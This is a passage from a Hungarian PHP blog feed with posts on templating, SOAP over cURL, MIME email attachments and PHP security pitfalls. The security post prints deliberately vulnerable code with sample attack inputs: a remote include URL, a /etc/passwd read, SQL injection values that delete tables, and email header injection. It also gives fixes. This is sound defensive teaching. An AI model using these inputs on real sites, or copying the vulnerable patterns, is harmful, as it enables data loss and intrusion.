		&lt;h1&gt;&lt;?=$post['title'] ?&gt;&lt;/h1&gt;
	&lt;? else: ?&gt;
		&lt;h2&gt;&lt;?=$post['title'] ?&gt;&lt;/h2&gt;
	&lt;? endif; ?&gt;
	&lt;div class=&quot;post-text&quot;&gt;&lt;?=$post['text'] ?&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;? endwhile; ?&gt;</pre>

<p>Persze a while-ban használt szerkezet csak PHP 5-ben működőképes, legalábbis az általam legutóbb használt PHP 4-es verzió még nem szerette, ha egy függvény által visszaadott objektumra ilyen módon hivatkozok. Nézzük meg, hogy egy hasonló dolgora használt kód hogyan nézne ki Smarty-ban:</p>

<pre class="code prettyprint lang-xml">{section name=&quot;post&quot; loop=$posts}
&lt;div class=&quot;post&quot; id=&quot;post-{$posts[post].id}&quot;&gt;
	{if $posts[post].id == 1}
		&lt;h1&gt;{$posts[post].title}&lt;/h1&gt;
	{else}
		&lt;h2&gt;{$posts[post].title}&lt;/h2&gt;
	{/if}
	&lt;div class=&quot;post-text&quot;&gt;{$posts[post].text}&lt;/div&gt;
&lt;/div&gt;
{/section}</pre>

<p>Tény, hogy ez azért egy sokkal átláthatóbb sablonkód (és ha még azt is számításba vesszük, hogy a PHP-nél a legjobb esetet vettem figyelembe, mivel az olvashatóságot még ronthatná a teljes &lt;?php nyitótag és a &lt;?= helyett az echo-s változat), viszont arról sem szabad megfeledkezni, hogy ez is csak egy alternatíva, mondjuk egy olyan alternatíva, amikor a sablonkódot csak mi, vagy csak olyan emberek írják, akik értenek a PHP-hez. Nézzünk még a végére egy kis WordPress template kódot is, ami hasonló célt szolgál mint a fenti két kód:</p>

<pre class="code prettyprint lang-php">&lt;div class=&quot;post&quot; id=&quot;post-&lt;? the_ID(); ?&gt;&quot;&gt;
	&lt;? if ($post-&gt;ID === 1): ?&gt;
		&lt;h1&gt;&lt;? the_title(); ?&gt;&lt;/h1&gt;
	&lt;? else: ?&gt;
		&lt;h2&gt;&lt;? the_title(); ?&gt;&lt;/h2&gt;
	&lt;? endif; ?&gt;
	&lt;div class=&quot;post-text&quot;&gt;&lt;? the_content('Tovább...'); ?&gt;&lt;/div&gt;
&lt;/div&gt;</pre>

<p>Mint az látszik, olyan projektekben is használható a PHP alapú sablonnyelv-rendszer, mint a <a href="http://wordpress.org/">WordPress</a>, amit nem hiszem, hogy csak (PHP) programozók használnának és nem hiszem, hogy csak ők írnának rá sablonokat, vagy piszkálnának bele a már meglévő sablonjaikba. Vagy egy másik jó példa a <a href="http://drupal.org/">Drupal</a> lehetne, ami szintén egy elég menő tartalomkezelő rendszer (bár ott, amennyire tudom több féle megoldás is létezik a template írására). Lényeg, hogy egyik módszert sem akarom lehordani, csak néha érdemes elgondolkozni, hogy az éppen aktuális munka készítése során mikor szükséges külön eszközt használni arra, amit a PHP-vel is könnyen megoldhatunk.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/07/28/php-mint-sablonnyelv/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A SOAP osztály kiváltása</title>
		<link>http://deadlime.hu/2006/07/26/a-soap-osztaly-kivaltasa/</link>
		<comments>http://deadlime.hu/2006/07/26/a-soap-osztaly-kivaltasa/#comments</comments>
		<pubDate>Tue, 25 Jul 2006 22:11:06 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SOAP]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/07/26/a-soap-osztaly-kivaltasa/</guid>
		<description><![CDATA[Kisebb-nagyobb kihagyás után ismét itt vagyok (vagy talán vagyunk). Egy munka során felmerült problémát, és a hozzá tartozó megoldásomat szeretném most megosztani. Arról már korábban volt szó, hogy hogyan használhatjuk a PHP 5 beépített SOAP osztályát, ha SOAP klienst vagy szervert szeretnénk üzemeltetni. Azonban mi van akkor, ha nem áll rendelkezésre PHP 5? Persze, ott [...]]]></description>
			<content:encoded><![CDATA[<p>Kisebb-nagyobb kihagyás után ismét itt vagyok (vagy talán vagyunk). Egy munka során felmerült problémát, és a hozzá tartozó megoldásomat szeretném most megosztani. Arról már <a href="http://deadlime.hu/2006/05/14/google-web-api/">korábban volt szó</a>, hogy hogyan használhatjuk a PHP 5 <a href="http://php.net/soap">beépített SOAP osztályát</a>, ha SOAP klienst vagy szervert szeretnénk üzemeltetni. Azonban mi van akkor, ha nem áll rendelkezésre PHP 5? Persze, ott a PEAR, de mivel nekem egyrészről nem volt szükségem a SOAP kliens által nyújtott minden szolgáltatásra és egyébként is inkább előnyben részesítem a saját kódot, ezért elő is bányásztam már porosodó cURL tudásomat, mivel a cURL kiterjesztés nagyban megkönnyíti a HTTP kérések küldését és a válaszok fogadását valamint a PHP 4-es verziójában is elérhető.</p>

<p>A feladat tehát, hogy az <a href="http://www.mnb.hu/">MNB</a> SOAP alapú webszolgáltatását használva lekérjük az éppen aktuális árfolyamokat a PHP egy 4.4 feletti verziója segítségével. Az MNB-nél elég programozó-barátak ilyen téren, a <a href="http://www.mnb.hu/arfolyamok.asmx">http://www.mnb.hu/arfolyamok.asmx</a> címen tulajdonképpen mindent megtudhatunk a szolgáltatás működéséről, kezdve attól, hogy milyen formátumú XML-t várnak tőlünk, addig, hogy milyen formátumút fogunk mi azért cserébe kapni. Természetesen a dolog nem ennyire szép, mivel csak a szabványos SOAP kérés-válasz van leírva, hogy az adatokat magukat milyen formátumban kapjuk, az nincs. Részletkérdés, úgyis látni fogjuk... :)</p><span id="more-63"></span>

<p>Mint az a fentebb említett címen kitűnően látható, három függvény áll a rendelkezésünkre, ebből mi csak a középsőt fogjuk használni, mivel az adja vissza az aktuális árfolyamokat. Ha vagyunk olyan bátrak és rá is kattintunk, láthatjuk a kérés és válasz szabványos formáját. Kezdjük is el a kódolást:</p>

<pre class="code prettyprint lang-php">$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, &quot;http://www.mnb.hu/arfolyamok.asmx&quot;);
curl_setopt($ch, CURLOPT_HEADER, 0);</pre>

<p>Létrehozunk egy cURL kapcsolatot, majd megadjuk neki az URL-t, megmondjuk, hogy nem kérünk header-eket, a könnyebb feldolgozhatóság érdekében. A példa XML header-jében látszik, hogy POST-olnunk kell az adatokat a rendszernek, ezért a következő beállításra is szükségünk lesz:</p>

<pre class="code prettyprint lang-php">curl_setopt($ch, CURLOPT_POST, true);</pre>

<p>Ennek viszont megvan az a hátránya, hogy az alapértelmezett Content-Type <code>application/x-www-form-urlencoded</code> lesz, a szolgáltatás viszont <code>text/xml</code>-t vár el tőlünk (és ezt nem is felejti el megjegyezni egy hiba formájában ha mégis az előbbivel küldjük neki az adatokat). Így ezt át kell állítanunk, valamint egy saját header-re is szükségünk van (SOAPAction):</p>

<pre class="code prettyprint lang-php">curl_setopt($ch, CURLOPT_HTTPHEADER, array(
	'Content-Type: text/xml; charset=utf-8',
	'SOAPAction: &quot;http://www.mnb.hu/webservices/GetCurrentExchangeRates&quot;'
));</pre>

<p>Nincs más hátra, mint a megfelelő <code>curl_setopt</code> segítségével a POST adatot hozzácsapni a kérés végére:</p>

<pre class="code prettyprint lang-php">curl_setopt($ch, CURLOPT_POSTFIELDS, &quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;utf-8\&quot;?&gt;
&lt;soap:Envelope xmlns:xsi=\&quot;http://www.w3.org/2001/XMLSchema-instance\&quot; xmlns:xsd=\&quot;http://www.w3.org/2001/XMLSchema\&quot; xmlns:soap=\&quot;http://schemas.xmlsoap.org/soap/envelope/\&quot;&gt;
	&lt;soap:Body&gt;
		&lt;GetCurrentExchangeRates xmlns=\&quot;http://www.mnb.hu/webservices/\&quot;/&gt;
	&lt;/soap:Body&gt;
&lt;/soap:Envelope&gt;&quot;);</pre>

<p>Már csak egy utolsó beállítás, hogy ne rögtön kiírja az eredményt, hanem visszaadja, majd végrehajtjuk a lekérést és lezárjuk a kapcsolatot:</p>

<pre class="code prettyprint lang-php">curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$soap_response = curl_exec($ch);
curl_close($ch);</pre>

<p>Meg is volnánk. Bár tény, hogy a SOAP osztályt használva fele ennyi kóddal megúsztuk volna és abban már az eredmény kinyerése a SOAP válaszból is meglett volna, de ez legalább működik PHP 4-es környezetben is. Klimatizált szerverszobában gazdag további nyarat Mindenkinek.</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/07/26/a-soap-osztaly-kivaltasa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Csatolt fájl küldése PHP-ben</title>
		<link>http://deadlime.hu/2006/05/25/csatolt-fajl-kuldese-php-ben/</link>
		<comments>http://deadlime.hu/2006/05/25/csatolt-fajl-kuldese-php-ben/#comments</comments>
		<pubDate>Thu, 25 May 2006 14:04:34 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[csatolt fájl]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/05/25/csatolt-fajl-kuldese-php-ben/</guid>
		<description><![CDATA[Talán sokaknak okozott már gondod a PHP kicsit fapados, viszont ennél fogva nagyon jól testre szabható mail() függvénye. Senki se szereti az ide vonatkozó RFC-ket túrni azért, hogy tudjon küldeni egy HTML levelet, vagy hogy egy képet tudjon csatolni a kiküldött levélhez. A továbbiakban megnézzük, hogyan tudunk felépíteni egy HTML levelet, amihez egy képet csatoltunk [...]]]></description>
			<content:encoded><![CDATA[<p>Talán sokaknak okozott már gondod a PHP kicsit fapados, viszont ennél fogva nagyon jól testre szabható mail() függvénye. Senki se szereti az ide vonatkozó RFC-ket túrni azért, hogy tudjon küldeni egy HTML levelet, vagy hogy egy képet tudjon csatolni a kiküldött levélhez.</p>

<p>A továbbiakban megnézzük, hogyan tudunk felépíteni egy HTML levelet, amihez egy képet csatoltunk hozzá. A dolog ott bonyolódik meg, hogy úgy szeretnénk azt a HTML levelet kiküldeni, hogy akinek az e-mail olvasója nem támogatja az ilyen leveleket az is el tudja majd olvasni. Azaz alternatívaként a levélben meg kell adnunk a sima szöveg változatot is.</p><span id="more-58"></span>

<p>
<div class="post-image image-left"><img id="image59" src="http://deadlime.hu/wp-content/uploads/2006/05/level_felepitese.gif" alt="A küldendő levél felépítése"/></div>

A bal oldalamon látható, hogy hogyan fog felépülni az e-mail maga. A dolog lényege, hogy valami egyedi karaktersorozatot tartalmazó elválasztó egységekkel több részre bontjuk a levél tartalmát, és ezeknek a részeknek a típusát és azt, hogy az e-mail olvasó hogy kezelje őket, külön megadhatjuk. Tehát a levél kezdetben így fog kinézni:</p>

<pre >--boundary_mixed
ide jön majd a levél szövege

--boundary_mixed
ide jön majd a kép

--boundary_mixed--</pre>

<p>A "boundary_mixed" az egyedi azonosító, amivel daraboljuk a levelet. Új blokk kezdésénél két kötőjelet írunk az elválasztó elé, ha pedig le akarjuk zárni az utolsó blokkot, akkor az elválasztó elé és mögé is írunk két kötőjelet. A dolog ott bonyolódik csak meg egy picit, hogy a levél szövegét is több részre kell bontani majd, tehát egy lépéssel később a levél tartalma már így fog kinézni:</p>

<pre class="code">--boundary_mixed
Content-Type: multipart/alternative; boundary=boundary_alt

--boundary_alt
a levél sima szövege

--boundary_alt
a levél html szövege

--boundary_alt--

--boundary_mixed
ide jön majd a kép

--boundary_mixed--</pre>

<p>Mint látszik, az első blokk elején megadtuk a blokk tartalmának a típusát (ezt majd a többi blokk kezdetnél is meg kell majd adnunk), amiben definiáltunk egy új elválasztó elemet. A multipart/alternative típus tulajdonsága, hogy a benne felsorolt blokkokból azt jeleníti meg, amelyiket a felhasználó e-mail olvasója támogat. Épp ezt akartuk elérni, hogy ha a kliens nem támogatja a HTML alapú leveleket, akkor a sima szöveget kapja meg. A levél tartalma így fog kinézni, miután mindenhol megadtuk a megfelelő fejléc elemeket:</p>

<pre class="code">--boundary_mixed
Content-Type: multipart/alternative; boundary=boundary_alt

--boundary_alt
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

a levél sima szövege

--boundary_alt
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

a levél html szövege

--boundary_alt--

--boundary_mixed
Content-Type: image/gif; name=image.gif
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=image.gif

a kép base64-el elkódolva

--boundary_mixed--</pre>

<p>A multipart résztől eltekintve a Content-Type fejléc teljesen hasonlóan viselkedik, mint a HTML-es fejlécek. A Content-Transfer-Encoding határozza meg, hogy milyen formátumban van az adott szöveg abban a blokkban. Kép esetén ez egy base64-es elkódolást jelent, szöveg esetén a quoted-printable értéket használjuk, aminek az esetén a blokk az ASCII karakterkészlet nyomtatható karaktereiből álló karakterláncot fog tartalmazni. A Content-Disposition azt adja meg, hogy a blokk a levél megjelenítésekor hogyan legyen kezelve (csatolt állományként (attachment), vagy jelenjen meg az e-mailben (inline)). A levél tartalma már megvan, most már csak a levél fejlécét kell megadnunk, ami annyiban módosul, hogy ott kell definiálnunk az első elválasztó elemünket (boundary_mixed) és meg kell adnunk a MIME verzióját:</p>

<pre class="code">From: a levél feladója
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=boundary_mixed</pre>

<p>Nincs más hátra, mint hogy ezt az egészet PHP-ben is megvalósítsuk, ami innentől már nem lesz egy bonyolult dolog:</p>

<pre class="code prettyprint lang-php">$files   = array('image/gif' =&gt; 'image.gif');
$from    = 'a levél feladója';
$to      = 'a levél címzettje';
$subject = 'a levél témája';
$content = 'a levél tartalma, ami HTML-t is tartalmazhat';

$bd_mixed = md5(uniqid(rand(), true));
$bd_alt   = md5(uniqid(rand(), true));

$header =
'From: '.$from.'
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=&quot;'.$bd_mixed. '&quot; ';

$text =
'--'.$bd_mixed. '
Content-Type: multipart/alternative; boundary=&quot;'.$bd_alt.'&quot;

--'.$bd_alt.'
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

'.trim(strip_tags($content)).'

--'.$bd_alt.'
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

'.$content.'

--'.$bd_alt.'--

';

foreach ($files as $mime =&gt; $name) {
	$text .=
'--'.$bd_mixed.'
Content-Type: '.$mime.'; name=&quot;'.$name.'&quot;
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=&quot;'.$name.'&quot;

'.chunk_split(base64_encode(file_get_contents($name))).'

';
}
$text .= '--'.$bd_mixed.'--';

mail($to, $subject, $text, $header);</pre>

<p>Ennyi lenne a kód, mint említettem, nem egy bonyolult dolog, a fentebb írt mail-darabolási ismeret birtokában. Talán csak a chunk_split függvény szorul némi magyarázatra: ha a szövegen kívül nem adunk meg neki más paramétert, akkor a 2045-ös RFC-nek megfelelő szemantika alapján 76 karakterenként tesz egy "\r\n"-t a szövegbe.</p>

<p>Erről ennyit, kellemes csatolt fájlokkal tűzdelt e-mail küldözgetést mindenkinek. :)</p>]]></content:encoded>
			<wfw:commentRss>http://deadlime.hu/2006/05/25/csatolt-fajl-kuldese-php-ben/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>A PHP biztonsági buktatói</title>
		<link>http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/</link>
		<comments>http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/#comments</comments>
		<pubDate>Fri, 19 May 2006 14:33:07 +0000</pubDate>
		<dc:creator>kriz</dc:creator>
				<category><![CDATA[nincs kategória]]></category>
		<category><![CDATA[biztonság]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>

		<guid isPermaLink="false">http://deadlime.hu/2006/05/19/a-php-biztonsagi-buktatoi/</guid>
		<description><![CDATA[Mi is lehetne fontosabb, mint hogy minél gyorsabb és minél biztonságosabb kódokat tudjunk írni? Ehhez viszont rengeteg tapasztalatra van szükségünk (nem feltétlen PHP nyelven), hogy meglássuk a kódban azokat a pontokat, amiket optimalizálni lehet, illetve amiket ártó szándékkal ki lehet használni. A dolog még annyiban bonyolódik, hogy az optimalizálással ellentétben itt nincsenek különösebb eszközeink (mint [...]]]></description>
			<content:encoded><![CDATA[<p>Mi is lehetne fontosabb, mint hogy minél gyorsabb és minél biztonságosabb kódokat tudjunk írni? Ehhez viszont rengeteg tapasztalatra van szükségünk (nem feltétlen PHP nyelven), hogy meglássuk a kódban azokat a pontokat, amiket optimalizálni lehet, illetve amiket ártó szándékkal ki lehet használni. A dolog még annyiban bonyolódik, hogy az optimalizálással ellentétben itt nincsenek különösebb eszközeink (mint például az <a href="http://pecl.php.net/package/apd">Advanced PHP Debugger</a>) a gyenge pontok felkutatására.<br/>
Persze leggyakrabban nem valami bonyolult algoritmus valamilyen több órás kódbogarászás után felfedezhető sebezhetősége miatt törnek fel egy oldalt, hanem inkább a kódoló figyelmetlenségéből adódó aprónak tűnő hibák miatt.</p>

<p>Így jött a gondolat, hogy csokorba szedek néhány ilyen gyakran elkövetett figyelmetlenséget, hogy minél kevesebben követhessék el ezeket és az ezekhez hasonló a hibákat a jövőben.</p><span id="more-52"></span>

<h3>Input adatok</h3>

<p>Mi is okozhat gondot egy honlappal kapcsolatban? Természetesen a bejövő adatok. Itt első sorban mindenki a <code>$_GET</code>, <code>$_POST</code> változókra gondol, de ugyanakkora (sőt, mivel az ember első körben nem gondolna rájuk, talán még nagyobb) veszélyt jelenthet a <code>$_COOKIE</code> tömb és a <code>$_SERVER</code> tömb egyes elemei is.</p>

<p>A szűretlen adatoknak rengeteg veszélye van. Általában több is, mint arra gondolnánk. Vegyünk egy példát, amiben is van egy vendégkönyvünk, ahol a megjelenő adatokat egyáltalán nem szűrjük. Ezzel a legelső szembeötlő probléma az, hogy a vendégkönybe író felhasználó bármilyen HTML kódot használhat. Nézzük csak, mit is jelenthet ez:</p>
<ul>
	<li>Jobb esetben a felhasználó szépen megformázott hozzászólásokat fog beküldeni. Ritka, de nem elképzelhetetlen... :)</li>
	<li>Rosszabb esetben akár beszúrhat egy <code>&lt;iframe&gt;</code> taget, amiben megjelenítheti akár a saját oldalát, akár bármilyen más oldalt.</li>
	<li>Ha pechünk van, és valami rosszindulatú hozzáértő téved oldalunkra, akkor elkezdhet valamiféle JavaScriptet (<code>&lt;script&gt;</code>) tenni a hozzászólásába, amivel már szinte bármit elérhet, ha a látogató böngészőjében engedélyezve van a JS, ami nem egy ritka dolog manapság. Csak, hogy egy példát is említsek, JavaScript segítségével ellophatja az oldalra látogatók munkamenet cookie-jait, így amíg azok érvényesek, "be tud lépni" akként a felhasználóként.</li>
</ul>
<p>Mi a megoldás? Ne jelenítsünk meg az oldalon szűretlen adatokat, sőt, a legjobb, ha már úgy tesszük el az adatbázisba az adatokat, hogy szűrtük őket. Jelen esetben például használható a <a href="http://php.net/strip_tags"><code>strip_tags()</code></a>, a <a href="http://php.net/htmlentities"><code>htmlentities()</code></a> vagy a <a href="http://php.net/htmlspecialchars"><code>htmlspecialchars()</code></a> függvény is. Érdemes mondjuk egy BBCode-szerű formázási rendszert hagyni a felhasználóknak, mint megengedni, hogy HTML tageket használjanak (még ha az szűrve is van a <a href="http://php.net/strip_tags"><code>strip_tags()</code></a> segítségével).</p>

<p>Másik hasonló dolog, ha például <code>/index.php?file=main.html</code> formában jelenítjük meg az oldalakat, valami ilyesmi kóddal:</p>

<pre class="code prettyprint lang-php">&lt;?php
	include('header.html');

	if (isset($_GET['file'])) {
		include($_GET['file']);
	}
	else {
		include('main.html');
	}

	include('footer.html');
?&gt;</pre>

<p>Érezhető probléma van ezzel a kóddal. Ha a php.ini-ben az <a href="http://php.net/filesystem#ini.allow-url-fopen"><code>allow_url_fopen</code></a> beállítás bekapcsolva van és a kérés a következő: <code>/index.php?file=http://gonoszszerver/gonoszphp.php</code>, akkor bizony csúnyán megszívhatjuk a PHP tartalmától függően (csak hogy egy light-osabb példát említsek: valamilyen config fájl tartalmát kiirathatja a gonosz felhasználó). Itt jegyezném meg azért, hogy ha a gonoszszerveren van PHP, akkor a <code>gonoszphp.php</code> előbb a gonoszszerveren fog lefutni. De ha az <a href="http://php.net/filesystem#ini.allow-url-fopen"><code>allow_url_fopen</code></a> még nincs is engedélyezve, képzeljünk el egy ilyen vagy ehhez hasonló kérést: <code>/index.php?file=/etc/passwd</code>. Persze, ez esetben szükség van arra is, hogy a webszevert futtató felhasználói fióknak joga legyen olvasni azt a fájlt, ami már magában is egy biztonsági rés, minden esetre nem elképzelhetetlen. Nézzünk egy megoldást is a sok közül, ami megszünteti az ilyen típusú támadásokhoz nyújtott felületet:</p>

<pre class="code prettyprint lang-php">&lt;?php
	include('header.html');

	$pages = array('main.html', 'aboutus.html', 'links.html');
	if (isset($_GET['file'])) {
		if (in_array($_GET['file'], $pages)) {
			include($_GET['file']);
		}
		else {
			/* itt van lehetőség loggolni a támadási kísérletet */
			include('main.html');
		}
	}
	else {
		include('main.html');
	}

	include('footer.html');
?&gt;</pre>

<h4>A <code>$_COOKIE</code> tömb</h4>

<p>Tegyük fel, hogy valami olyan adatot tárolunk sütikben, amik nem szeretnénk, ha megváltoztathatóak legyenek a felhasználó által. A süti, mivel a felhasználó gépén található, ezért tartalma egyszerűen megváltoztatható, így a benne lévő adatokban egyáltalán nem bízhatunk meg. Ennél fogva, ha mondjuk egy saját munkamenet kezelő sütit készítünk, amiben tároljuk a felhasználó azonosítóját és a lejárat idejét, akkor nem szeretnénk, ha mondjuk a felhasználó gondolna egyet és átírhatná az azonosítóját valami másra.</p>

<p>Jön a gondolat, hogy akkor valahogy el kéne kódolni az adatokat, vagy valami hitelesítési megoldást kellene hozzá találni. Az első gondolatra megoldást nyújthat a <a href="http://php.net/mcrypt">PHP <code>mcrypt</code> kiterjesztése</a>, ami viszont ha nem áll rendelkezésünkre akkor pechünk van. Így foglalkozzunk inkább az utóbbi dologgal, amivel viszont elvesztjük azt a lehetőséget, hogy olyan adatokat tárolhassunk a sütikben, amiket nem szeretnénk, ha látnának a felhasználók (például a felhasználó jelszavát, de kérdem én, azt mi a francnak tárolnánk el a sütiben):</p>

<pre class="code prettyprint lang-php">&lt;?php
	define('PAGE_PASSWORD', 'valami nehezen megjegyezhető jelszó');

	$user_auth = $user_id.';'.time();
	setcookie('user_auth', $user_auth);
	setcookie('user_auth_validator', md5(PAGE_PASSWORD.$user_auth));
?&gt;</pre>

<p>Mint látszik, a dolog lényege, hogy bár kódolatlanul eltároltuk a felhasználó azonosítóját, és a süti kiállításának idejét, de mellékeltünk egy <code>user_auth_validator</code> sütit is, ami az oldal jelszavának és az <code>user_auth</code> sütiben tárolt adat összefűzésének az md5 hash-e. Így egy másik oldalon egyszerűen ellenőrizhetjük, hogy a felhasználó nem-e változtatta meg a süti tartalmát:</p>

<pre class="code prettyprint lang-php">&lt;?php
	if (md5(PAGE_PASSWORD.$_COOKIE['user_auth']) !== $_COOKIE['user_auth_validator']) {
		die('Valami gáz van a sütivel...');
	}
?&gt;</pre>

<h4>A <code>$_SERVER</code> tömb</h4>

<p>Legritkábban taln a <code>$_SERVER</code> tömbre gyanakodnánk, mint rosszindulatú adatok hordozóira. Sőt, inkább úgy gondol rá az ember, mint olyan adatok tömbje, amit a webszerver ad át nekünk, és hát abba mi lehet, ami nem biztonságos? Hát van egy pár. A legjobb, ha lefuttatunk egy <a href="http://php.net/phpinfo"><code>phpinfo()</code></a> függvényt, és végignézzük a tömb tartalmát, és mindegyiknél alaposan elgondolkozunk, hogy vajon honnan is származik az az adat, és hogy lehet-e valahogy manipulálni?</p>

<p>Hogy egy példával is alátámasszam szavaimat, vegyük mondjuk a <code>$_SERVER["HTTP_USER_AGENT"]</code> változót. Ez elég gyakori használatban van, például egy vendégkönyvben is akár, ahol a kóder mondjuk letárolja a felhasználó IP címét és a böngészője típusát a hozzászólása mellett. Persze jön a gondolat, hogy ennek a megváltoztatása nem egy egyszerű művelet. Mire jön a válasz, hogy egy frászkarikát nem. Például itt van ez az írás, hogy <a href="http://johnbokma.com/mexit/2004/04/24/changinguseragent.html">Firefox alatt hogyan tehető ez meg</a>. Tehát, ha ez az adat az SQL kérésbe ágyazáskor nincs megfelelően lekezelve, akkor csúnya dolgokat lehet művelni a segítségével, ahogy ezt a bejegyzés következő részében ki is fogom fejteni.</p>

<h3>SQL injection</h3>

<p>Az ilyen típusú támadásokkal lehet talán a legnagyobb károkat okozni, ugyanis - jogosultságtól függően - akár egész adatbázisokat is törölni lehet vele. Épp ezért érdemes kellő figyelmet fordítani minden lekérdezésünkre. A sok rizsa helyett nézzünk inkább rögtön egy példát. A kérés a következő: <code>/script.php?user_id=10</code>. A <code>script.php</code> kódja pedig legyen ez:</p>

<pre class="code prettyprint lang-php">&lt;?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	$query = mysql_query(&quot;SELECT * FROM users WHERE user_id=&quot;.$_GET['user_id']);
?&gt;</pre>

<p>Persze, a fenti kéréssel nem lesz semmi gond, lekérdezi az adatbázisból a 10-es id-jű felhasználó adatait. De mi van akkor ha a kérés az a következő: <code>/script.php?user_id=10; DELETE FROM users</code>. Így a lekérdezés az lesz, hogy <code>SELECT * FROM users WHERE user_id=10; DELETE FROM users</code>. Mivel a MySQL támogatja a többszörös lekérdezéseket, emellett nincs visszakérdezés (hogy is lehetne), hogy tényleg törölni szeretnéd-e, ezért egy ilyen kérés után a felhasználók táblád tartalmának búcsút inthetsz.</p>

<p>Igen, lehet azt mondani, hogy "Jaj, de honnan a fészkesből tudná a támadó, hogy hogyan hívják a felhasználók táblámat?". Egyrészt, ez most nem erről szól. Másrészt ez a kód így is, úgy is felelőtlenség, az pedig nem védekezés, hogy a támadó úgysem látja a kódomat, mert hát mi akadályozza meg, hogy annyiszor próbálkozzon, ahányszor csak neki tetszik, méghozzá tulajdonképpen nyom nélkül? A nyom nélkül alatt pedig azt értem, hogy ha az ember nem fér hozzá a webszerver logjaihoz, sohasem fog feltűnni neki, hogy valaki ilyenekkel próbálkozik.</p>

<p>Ez esetben a legjobb megoldás, ha számmá alakítjuk a kapott adatot, így legfeljebb az fordulhat elő, hogy nem fog találni a megadott azonosítónak megfelelő sort. Nézzük hát a módosított kódot:</p>

<pre class="code prettyprint lang-php">&lt;?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	$query = mysql_query(&quot;SELECT * FROM users WHERE user_id=&quot;.(int)$_GET['user_id']);
?&gt;</pre>

<p>Ez esetben nem vittük túlzásba a szűrést, inkább csak egy biztonsági átalakításról van szó. Természetesen a felhasználás előtt jóval már ellenőrizhetjük, hogy a kapott adat egyáltalán szám-e, és megtehetjük a szükséges óvintézkedéseket, valamint logot is készíthetünk az esetről. Nézzük még meg a <code>$_SERVER</code> tömbnél említett dolgot:</p>

<pre class="code prettyprint lang-php">&lt;?php
	mysql_connect('localhost', 'user', 'password');
	mysql_select_db('database');

	mysql_query(&quot;INSERT INTO guestbook VALUES (
		'',
		'&quot;.$_POST['text'].&quot;',
		'&quot;.$_SERVER['REMOTE_ADDR'].&quot;',
		'&quot;.$_SERVER['HTTP_USER_AGENT'].&quot;')
	&quot;);
?&gt;</pre>

<p>Ez esetben ha a gonosz felhasználó User Agent-je <code>megszívtad'); DELETE FROM guestbook WHERE ('1</code> lenne, akkor törölné a guestbook tábla teljes tartalmát. Persze itt már nem használható a fenti (int)-es trükk, valami más után kell néznünk. Az egyik - kevésbé jó - lehetőség az <a href="http://php.net/addslashes"><code>addslashes()</code></a> lenne, viszont ha tovább keresgélünk akkor megtalálhatjuk a <a href="http://php.net/mysql_escape_string"><code>mysql_escape_string()</code></a> illetve a <a href="http://php.net/mysql_real_escape_string"><code>mysql_real_escape_string()</code></a> függvényeket is. Ezek azonban csak akkor működnek igazán jól, ha a lekérdezésben rendesen használjuk az idézőjeleket, mivel csak azokat escape-eli ki. Első lekérdezésünk példájával élve, valahogy így:</p>

<pre class="code prettyprint lang-php">$query = mysql_query(&quot;SELECT * FROM `users` WHERE `user_id`='&quot;.mysql_escape_string($_GET['user_id']).&quot;'&quot;);</pre>

<h3>E-mail injection</h3>

<p>Ez a támadási forma főleg akkor jöhet elő, ha a spam elkerülése érdekében a felhasználók számára egy űrlapot biztosítunk, hogy tudjanak nekünk levelet küldeni. A felhasználó csak megadja az e-mail címét, a levél témáját és a szövegét, és máris tud levelet küldeni nekünk. De vajon tényleg csak nekünk?</p>

<p>A dolgok könnyebb megértése érdekében talán érdemes a <a href="http://php.net/manual/en/function.mail.php"><code>mail()</code></a> függvény működésébe egy kicsit belemenni. A függvény megadása, ahogy az a PHP referenciában is benne van, a következő: <code>mail(címzett, téma, szöveg, egyéb headerek, egyéb kapcsolók)</code>. Ha például meghívjuk a függvényt, így:</p>

<pre class="code prettyprint lang-php">mail(&quot;felhasznalo@valami.cim&quot;, &quot;szia&quot;, &quot;levél tartalma&quot;, &quot;From: felado@cime.cim&quot;);</pre>

<p>Abból ez lesz:</p>

<pre>To: felhasznalo@valami.cim
Subject: szia
From: felado@cime.cim

levél tartalma</pre>

<p>Mivel a levél feladóját, témáját és a tartalmát a felahasználótól kérjük be, ezért a kód valahogy így módosul:</p>

<pre class="code prettyprint lang-php">mail($my_mail_address, $_POST['subject'], $_POST['text'], &quot;From: &quot;.$_POST['from']);</pre>

